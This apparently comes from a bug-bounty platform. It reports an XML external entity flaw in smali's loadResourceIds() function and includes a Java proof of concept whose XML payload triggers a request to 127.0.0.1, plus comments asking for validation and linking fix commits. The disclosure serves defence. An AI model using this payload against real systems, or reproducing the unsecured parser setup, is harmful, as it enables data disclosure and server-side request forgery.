Improper Restriction of XML External Entity Reference in jesusfreke/smali
Reported on
Jan 16th 2022
Description
The loadResourceIds() function makes use of SAXParser generated from a SAXParserFactory with no FEATURE_SECURE_PROCESSING set, allowing for XXE attacks. In https://github.com/JesusFreke/smali/blob/cbd41d36ccde221ccc4ec2aa0c15ca2fa4491a62/baksmali/src/main/java/org/jf/baksmali/BaksmaliOptions.java#L87
SAXParser saxp = SAXParserFactory.newInstance().newSAXParser();
final String prefix = entry.getKey();
saxp.parse(entry.getValue(), new DefaultHandler())
Proof of Concept
Extracted out the key function mentioned above to showcase how it can be exploited.
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.HandlerBase;
import java.io.ByteArrayInputStream;
public class Poc {
public static void main(String[] args) {
try {
String xmlpoc = "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1/\">]><foo>&xxe;</foo>";
SAXParser saxParser = SAXParserFactory.newInstance().newSAXParser();
saxParser.parse(new ByteArrayInputStream(xmlpoc.getBytes()), new HandlerBase());
} catch (Exception e) {
e.printStackTrace();
}
}
}
Causes an SSRF to http://127.0.0.1
Impact
This vulnerability is capable of XXE to disclose data/conduct SSRF attacks etc.
Occurrences
SECURITY.md
2 years ago
This should be fixed by https://github.com/JesusFreke/smali/commit/178d0c277aa8930a7334da638fa77aff10f2b5ac
@maintainer Can you please validate this report by clicking on Mark as valid
and also confirm the fix
. Thank you.
@admin Can you please validate this report on behalf of @maintainer, as he agreed and fixed the issue? https://github.com/JesusFreke/smali/commit/178d0c277aa8930a7334da638fa77aff10f2b5ac https://github.com/JesusFreke/smali/commit/2771eae0a11f07bd892732232e6ee4e32437230d